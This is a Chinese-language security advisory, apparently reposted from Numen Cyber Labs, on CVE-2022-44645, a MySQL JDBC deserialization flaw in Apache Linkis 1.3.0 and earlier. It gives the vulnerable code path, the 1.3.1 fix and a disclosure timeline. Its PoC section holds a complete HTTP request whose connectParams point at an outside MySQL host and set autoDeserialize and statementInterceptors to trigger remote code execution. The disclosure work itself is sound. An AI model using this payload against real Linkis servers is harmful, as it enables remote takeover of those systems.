Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645

admin 2023年2月3日12:05:20评论124 views字数 2720阅读9分4秒阅读模式

Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645

前言

Apache Linkis 在上层应用程序和底层引擎之间构建了一层计算中间件。通过使用 Linkis 提供的 REST/JDBC/Shell 等标准接口,上层应用可以方便地连接访问 MySQL/Spark/Hive/Trino/Flink 等底层引擎,同时实现变量、脚本、函数和资源文件等用户资源的跨上层应用互通,以及通过 REST 标准接口提供了数据源管理和数据源对应的元数据查询服务。作为计算中间件,Linkis 提供了强大的连通、复用、编排、扩展和治理管控能力。通过计算中间件将应用层和引擎层解耦,简化了复杂的网络调用关系,降低了整体复杂度,同时节约了整体开发和维护成本。 

描述

Numen安全实验室漏洞研究员在Apache Linkis小于等于1.3.0版本中发现Linkis与mysql jdbc驱动一起使用时,当攻击者具有对数据库的写访问权限并使用MySQL数据源和恶意参数配置新数据源时,存在反序列化漏洞,会导致远程代码执行。因此jdbc url中的参数应该被列入黑名单。 

影响版本

Apache Linkis <=1.3.0

分析

在linkis-public-enhancements/linkis-datasource/linkis-datasource-manager/server/src/main/java/org/apache/linkis/datasourcemanager/core/restful/DataSourceOperateRestfulApi.java#connect()接收dataSource相关属性,并传入doConnect函数  

Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645

在doConnect函数中,直接进行连接,没有安全处理导致可携带恶意属性进行mysql jdbc反序列化。 

Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645

PoC

POST /api/rest_j/v1/data-source-manager/op/connect/json HTTP/1.1 Host: 10.211.55.6:8088 Content-Length: 570 Content-language: en Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Content-Type: application/json;charset=UTF-8 Origin: http://10.211.55.6:8088 Referer: http://10.211.55.6:8088/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8 Cookie: linkis_user_session_ticket_id_v1=3cSULn63z6BRzonTuKWkmSAyp90ueJCH Connection: close 
{"id":1,"dataSourceName":"test","dataSourceTypeId":1,"createSystem":"Linkis","connectParams":{"password":"RoOt123.","databaseName":"test","port":"3306","host":”149.**.**.150","driverClassName":"com.mysql.jdbc.Driver","params":"{"connectionAttributes":"t:cb194","autoDeserialize":"true","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","useSSL":"false"}","username":"root"},"createTime":1667210719000,"modifyTime":1667210718000,"createUser":"root","versionId":1,"expire":false,"dataSourceType":{"name":"mysql","layers":0}}

Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645

修复 

1.3.1版本添加黑名单 

linkis-commons/linkis-common/src/main/java/org/apache/linkis/common/utils/SecurityUtils.java 

https://github.com/apache/linkis/commit/a652276961e39a6e0d6f79698e2b082a72f160d1#diff-d9f1daccf16be38b1c2a2b946ea9e8b27f5d7713b3981afef222ffe00e3b4a67

Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645

时间线

  • 2022-11-02 向apache报告 

  • 2022-12-10 修复 

  • 2023-01-19 发布apache linkis 1.3.1版本 

  • 2023-01-31 公开cve邮件 

Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645

许多公司已经用 Linkis 来解决大数据平台连通、扩展、管控、编排等计算治理问题;涉及金融、电信、制造、互联网等多个行业。其安全性需要各Web3项目方提高重视,及时关注各种Web3基础架构的安全漏洞并及时打好补丁,以避免潜在的安全风险和数字资产损失。我们将及时挖掘,追踪各种Web3上的安全风险,以及提供领先的安全解决方案,确保Web3世界链上,链下安全无虞。 

参考

https://lists.apache.org/thread/zlcfmvt65blqc4n6fxypg6f0ns8fqfz4 

https://github.com/apache/linkis/issues/23 

Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645

Numen 官网
https://numencyber.com/ 
GitHub
https://github.com/NumenCyber
Twitter
https://twitter.com/@numencyber
Medium
https://medium.com/@numencyberlabs
LinkedIn
https://www.linkedin.com/company/numencyber/

原文始发于微信公众号(Numen Cyber Labs):Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月3日12:05:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645http://cn-sec.com/archives/1535117.html

发表评论

匿名网友 填写信息